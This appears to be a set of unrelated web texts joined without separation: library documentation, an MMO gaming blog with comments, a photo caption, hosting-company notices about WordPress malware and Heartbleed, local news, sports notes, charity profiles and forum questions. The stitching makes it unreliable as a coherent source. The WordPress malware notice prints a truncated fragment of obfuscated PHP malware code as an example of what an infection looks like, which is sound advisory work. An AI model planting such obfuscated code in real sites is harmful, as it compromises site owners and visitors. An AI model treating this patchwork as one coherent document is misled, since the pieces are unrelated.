Each segment of data is independent and can overlap other existing ones. Segments allow you to keep track of portions of sound you would be interested to highlight.
WaveformDataSegment API Documentation
This interface provides a backend abstraction for a
WaveformData instance.
You should not manipulate this data directly.
WaveformDataArrayBufferAdapter API Documentation
WaveformDataObjectAdapter API Documentation
Any browser supporting ECMAScript 5 will be enough to use the library -
To develop the code, install Node.js and npm. After obtaining the waveform-data.js source code, run
npm install to install Node.js package dependencies.
This program contains code adapted from Audacity, used with permission.

Thoughts on Spellborn and LotRO Dwarves
It's been a while since I updated my blog. It's not for any nefarious reason, just that I've been pretty busy with work and haven't had time to write. I know that sounds silly given that this is my job, but we'll not get into too much detail.
I decided to write this week, because I saw some issues in the news that I thought might be fun to address. I'll start with a publisher announcement.
The Chronicles of Spellborn
Yesterday, Spellborn International, the company behind (guess what?) The Chronicles of Spellborn, announced that they had signed a letter of intent with a US-based publisher.
Why is this important? Well, for the longest time, we kept hearing that while they were ok for a European publisher (and areas beyond that), Spellborn just hadn't found a publisher for the US market. This caused a number of people to begin to ask a lot of questions about the game. The number one thing that I heard was "The game must be in trouble if they can't find a US publisher".
Honestly, I'm not sure that one is an indication of the other. One thing for us North Americans to remember is that not all of the upcoming MMOs that we're looking forward to are actually being made here in North America. In fact, if you look at it, just off the top of my head you've got EVE Online, which was and is developed in Iceland. Age of Conan is being made in Norway. Earthrise, another highly anticipated game, is being made in Bulgaria. The Chronicles of Spellborn calls The Netherlands its home.
Of all of these games, I would say that Spellborn probably has the most intentionally European feel to it (just check out the art style), departing a great deal from what we think of as "American-Style" MMOs like EverQuest and World of Warcraft both in terms of cosmetic look and even functional design.
My personal feeling is that the head honchos over at Spellborn wanted a US publisher, but probably not bad enough to a) give up control over certain aspects of the game or b) settle for something less than they are looking for.
Ok, I'm pretty much done waxing poetic about Spellborn. I will say this though: It's an interesting and innovative game being made by an indie company that takes MMO conventions and turns them on their ears. If you're one of the people who has been complaining about "WoW clones", there is no reason you shouldn't at least try this game when it launches in the Fall. I'm not necessarily saying you're going to like it, everyone has different tastes, but I am saying that if you don't at least take a look, you lose your right to complain about WoW clones.
Lord of the Rings
LotRO has been my MMO of choice lately (although I pledge my undying video game fealty to Battlefield 2142). I had played a while back with an elf character. I moved on after I reached about level 17. Not because I wasn't enjoying the game, but because work meant that I had to go on and play something else for a while. When the time came to jump into the game again, I decided against playing my elf character. One of the things that I had really been enjoying about LotRO was the sense of story that I got. I stand by the fact that LotRO has some of the best written quests and story arcs in MMOs today (I'm not saying they're all to my taste, but for the most part, they get a thumbs up). Unfortuantely, I had forgotten what my elf was up to in my time away (memory like a goldfish, I swear) and decided, along with my News Manager, to roll up a new Dwarf. Well, let me say congrats to whichever Turbine employees are responsible for the Dwarves and their early quests. I've been having a blast with Abrawlin (get it… a'brawlin… it's hilarious to me).
I know I'm not your average MMO player. I know that most people don't really pay a lot of attention to the quests and the quality of writing and dialogue, but for me, it's a make or break. If a game doesn't have these things, I can still look at it objectively and talk about its features, but it's not going to be a personal favorite. When I first heard that Turbine was developing LotRO, I assumed that there was no way they would be able to both capture the feeling of Middle Earth and write engaging storylines and dialogue, but in the end they surprised me and I just wanted to take a minute to say that. Well done Turbine story team!
Ok, that's enough of my babble for today, but I'm hoping to get this going weekly again so I can offer commentary on and maybe even the occasional insight about the week's news.
I wasn't a fan of the hobbit stuff, but to be honest, I think that's because I'm just not a fan of Hobbits. I think I wrote in a review or something somewhere that I didn't enjoy the Hobbit area, but I can see how people who enjoy Hobbits would like it... If that makes sense.Fri Apr 11 2008 10:54AM Report
I haver been looking to TCoS for sometime and slightly dissapointed in another delay,Though I think the game was no where ready for release as the devs lead us to believe in q1,Now with the US publisher they may have a nice little cheque and dont have to release in europe till the fall.
Although just how many players will try it at that time is up for question,There could be AoC,WAR,AION and wotlk,If these games are anything players are hopping for then TCoS release may go un-noticed for the large part.Fri Apr 11 2008 12:10PM Report
I'm in complete agreement with Hexxeity - well written quests that were boring. Delivering a pie across the map 5 times doesn't = good times. And the way you gain xp is very heavily weighted towards quests so running across the map for 2 min with a pie will earn me 5x the amount of xp killing mobs for 2 mins. So my choice is either not pie running and slow grinding or quick lvling through boring quests. Geee some choice.Sat Apr 12 2008 10:17AM Report
There's so many quests in lotro. No need to deliver all those pies if you don't want to. There are tons of great quests that have interesting stories. Pie/Mail delivery quests are a small and avoidable part of the quest experience in the shire.Sat Apr 12 2008 5:06PM Report

Indian Border Security Force soldiers patrol the picturesque Dal Lake in Srinagar, the summer capital of Indian-controlled Kashmir. Once a tourist hotspot, the only visitors to this magnificent landscape these days are Indian soldiers. Photo by Ami Vitale
Ami Vitale is an American photographer based in Montana. She has worked in more than 75 countries and is a contract photographer with National Geographic. Her work has been recognized by World Press Photo, a Lowell Thomas Travel Journalism Award, Lucie Awards, the Daniel Pearl Award for Outstanding International Investigative Reporting, and Pictures of the Year International's Magazine Photographer of the Year.
"I made this image in 2003 in the disputed Indian-controlled state of Kashmir, the site of a long-standing proxy war between India and Pakistan.
"Kashmir was once a tourism center, and these boats, called shikaras, are traditionally meant for tourists, couples, and honeymooners. But nowadays these symbols of new beginnings are sometimes used by Indian border control officers to patrol for militia members and hunt insurgents."

Malware Infection Breaking WordPress Websites
There is a known malware infection caused by a serious vulnerability in the MailPoet WordPress plugin. This malicious attack attempts to slyly inject Spam into the hacked site, which is causing websites to break, and focuses predominantly on WordPress sites with outdated plugins or weak admin passwords.
What It Looks Like
The infected PHP code is very buggy and is corrupting legitimate website files, as well as themes and plugin files, which causes PHP errors to be displayed instead of website content:
Parse error: syntax error, unexpected ')' in /home/user/public_html/site/wp-config.php on line 91
After removing the infecting malware, the only way to remedy the issues is to restore the corrupted files from a backup. This is what the malware code looks like:
< ?php $pblquldqei = '5c%x7824-%x5c%x7824*!|!%x5c%x7824-%x5c%x7824%x5c%x785c%x5c%x7825j^%xq%x5c%x7825%x5?c%x7827Y%x5c%x78256<.msv%x5c%x7860ftsbqA7>q7825)3?of:opjudovg< ~%x5c%x7824!%x5c%x782421787825!|!*!***b%x5c%x7825)…

.uk Domains Available For $15 A Year!
We are excited to announce that starting June 10th 2014 you can register .uk domains for just $15 a year!
Here's what you need to know about the registration process:
- If you have a unique .co.uk, .org.uk, or other similar domain, the equivalent .uk domain will be automatically reserved for you until June 10, 2019, as long as the domain remains registered.
- You can check a registrant's rights with this handy lookup tool: http://www.dotuklaunch.co.uk/rights-lookup-tool.
- If you want to register a 2nd level .uk domain, such as 'example.uk', then the contact info for that domain must be an exact match to the existing equivalent third level .uk domain, like 'example.co.uk' or 'example.org.uk'. If the information is not the same the registration will fail.

Patched: OpenSSL Heartbleed Vulnerability CVE-2014-0160
This morning we deployed an update to the OpenSSL software packages on our shared and customer servers to address a critical vulnerability. The vulnerability, dubbed "heartbleed", is the result of improper data validation (bounds check) within a "heartbeat" feature of the OpenSSL TLS implementation.
Because of this vulnerability, it is possible that a portion of active memory can be disclosed to connecting clients, which can leak sensitive information. Ultimately, this may lead to the disclosure of transaction or customer-identifiable information, which undermines the very purpose of SSL implementations for our customers and the Internet community at large.
Although we make every effort to schedule updates and maintenance, the critical nature of this vulnerability prompted immediate action. We're working hard to protect our customers and want to thank you for your understanding.
What is the status of my SSL certificates?
Our position is that regenerating/reissuing SSL certificates is not … Read the rest

How many times have we seen that sign in a yard or ad in the paper?
We recently learned of a heinous crime in Hancock County. Twenty-nine dogs - many just puppies - were tortured and maimed. Many of these victims were delivered to the man responsible for these acts, after he responded to a "free to good home" advertisement. He actually obtained puppies twice from the same woman.
In my opinion, "free to good home" actually means "free to whomever will take them off my hands." Well, these poor little guys paid the price for that attitude. Here's a suggestion: Get your animals spayed and neutered. Don't expect others to help you out with unwanted litters. Be a responsible pet owner. Actually, in my county (Brooke) and some others, it is against the law to leave your dog out where it can be caught during its heat.
If you cannot afford the spay or neuter, then don't have the pet!

During this semester my professor tried to convince us why is good to use unit tests during development, why is it good to validate data(Microsoft Application Block) and also he told us about using mocking(RhinoMocks) in order to test our methods when we didn't had access to a database.
I had to do some unit tests with mocking and in order to make them work i had to create by hand the objects hierarchy that was needed in order to test my method(It took me a while to write everything i needed).
The question that i want to put: in production is it useful to use mocking? Should i use it every time i have the chance? And also the effort made to write everything in order to test a method with mocks does it pay off?
thank you

JD Learnard helped the 'Birds salvage one game in the series with a solid mound performance on Sunday.
Tyler McNeely (ILS) – McNeely led Illinois State in the Redbirds' 9-4 win against Wichita State Sunday afternoon in Wichita, Kan. McNeely went 3-for-5 with three RBI and three runs scored, including two solo home runs and one double. The Normal, Ill., native slugged a team-best .909, amassed ten total basses and did not commit an error in left field during Illinois State's three-game series against Wichita State. McNeely now leads the Redbirds with a .371 batting average, a .664 slugging percentage and a .522 on-base percentage. He also ranks first on the team with eight home runs and 39 runs score, and second with 34 RBI and 10 doubles.
JD Learnard (ILS) – Learnard (4-2) earned the win in Illinois State's 9-4 victory against Wichita State Sunday afternoon in Wichita, Kan.

San Diegans who made our year
Room makeovers and home renovations for special-needs children. Support for foster kids and their families. Early breast-cancer detection for young women. The subjects of our weekly Making a Difference columns touched many people in a multitude of ways, and after reading our stories about them, San Diegans responded by donating time, money and resources to the volunteers who do so much for so many.
Here are some year-end updates from the Making a Difference files, where payback can be a beautiful thing.
Rachel Ackerly
Cecily's Closet
Rachel and Brien Ackerly started Cecily's Closet in 2010 to brighten the lives of special-needs children and their families. And this year, the life-brightening business has been booming.
With the help of a record number of volunteers and sponsors, Cecily's Closet did 16 bedroom makeovers for special-needs children. The nonprofit that the Ackerlys run out of their Cardiff home has shipped close to 130 free, handmade "Belly Band" feeding-tube wraps and matched needy families with more than 100 pieces of recycled medical equipment.
Cecily's Closet also received a $5,000 grant from Cox Communications. And best of all, 4-year-old Cecily is learning to eat without her feeding tube, and she is talking more than ever.
"We just want to keep everything going," said Ackerly, 37, who hopes to start a playdate program between therapy dogs and special-needs children next year. "This has wildly exceeded any level of our expectations."
Patty Boles
Straight from the Heart foster care resource center, San Marcos
In the last three months, longtime foster care advocate Patty Boles has been showered with recognition, donations and the opportunity to write a foster care blog for Huffington Post.
Over the past 33 years, Boles and her husband Richard have cared for nearly 100 special needs foster children, and adopted 10 of them. But she was so frustrated with the red tape and lack of resources available to foster parents like herself that she cofounded the North San Diego County Foster Parents Association In 1981. Then in 1997, she opened Straight from the Heart Inc., a nonprofit center in San Marcos that offers foster parents classes, meeting space and free children's clothing, toys and necessities.
The news article opened the floodgates for donations of cash, clothing and other items that are still coming in, Boles said. Also, a pediatric professor stepped forward to offer occupational therapy classes to local foster parents. But the biggest surprise for Boles came in November, when she was chosen by L'Oréal Paris as one of 10 winners in its 2013 Women of Worth program (from among 3,500 nominees). The honor, bestowed at an all-expense-paid trip to New York City, included a $10,000 check for Straight from the Heart, as well as the writing opportunity for the Huffington Post.
Boles said she was overwhelmed with the words of encouragement from L'Oréal Paris President Karen Fondu and film star Diane Keaton, but her favorite celebrity encounter was with her all-time favorite singer Trisha Yearwood.
"The first thing Trisha did when we sat down was say 'Let's take a selfie together and send it to Garth,' " Boles said, referring to Yearwood's husband, fellow country star Garth Brooks. "I'll never forget that."
Dr. Mark Kalina
Senior Health Forum, Del Mar
For the past five years, Dr. Mark Kalina of Del Mar has run the Senior Health Forum, a free Tuesday morning program for seniors at the Del Mar Community Building. Men and women in their 70s, 80s and 90s gather each week to exercise, meditate, listen to lectures and enjoy group conversations.
Kalina spent 16 years with Scripps Clinic as a primary care doctor and felt traditional medicine wasn't serving the social, emotional and psychological needs of his patients, so he left to start his own practice and do volunteer community outreach with area seniors.

Hi all...
Since the functionality is there to do this one excruciating email at a time, I'm wondering if anyone out there has a solution for doing this en masse? Maybe a zimlet on the way, or expected in version 7? A CLI hack?
I'd really like to be able to do this...it would make use as well as administration much much easier.


text: Council takes legal advice over school 18 Feb 2014 Down District Council is taking legal advice after trustees of a Newcastle parish turned down its offer to buy a former school site. Share Share Share Story by UTV Staff, Belfast The council wants to build a brand new leisure centre on the land which was once home to St Mary's Girls School - but the councils says it was told by the parish last week that its offer was unacceptable.The three acre site has been unused since the school relocated in September 2012.It is owned by the parish of Maghera which is part of the diocese of Down and Connor.Down District Council said that it made an agreement on the purchase of the land last October and that contracts were being drawn up.However, the council said that it received notification from the parish's solicitor on Friday saying the offer was "unacceptable".Councillors in Newcastle claim that agreement was reached to buy the site for £500k, but now they're alleging the church is considering an alternative bid worth £750k.One South Down MLA has written to the bishop asking him to intervene.The SDLP's Seán Rodgers said: "I just hope that the Bishops and the church would see the sense of how this would be a win, win for the church, a great community facility for all."For our young children, for our older people and so on."In a statement issued by the Maghera Parish to UTV on Monday evening, a spokesman said: "Following the decline of a private treaty sale in 2012 by Down District Council, the parish Trustees placed the former St Mary's Girls Primary School site at Shanslieve Drive in Newcastle on the public market on 26 March 2013. The agents for the sale were J. D. Flynn and Co., Newcastle."The statement continued saying that offers were received from a number of parties, including Down District Council."The site is held in stewardship for the good of the parish. The parish Trustees are legally bound to act in the best interests of the parish and to consider all offers made through the public market process."In the case of sales of former school sites, the Trustees are required to return a substantial percentage of the final sale price to DENI (Department of Education in Northern Ireland)."The Trustees of the Parish remain open to consideration of Down District Council's offer in regard to the sale of this site."Down District Council said that it is taking legal advice on the matter, which will be discussed at its next full meeting later this month. © UTV Share Share Share
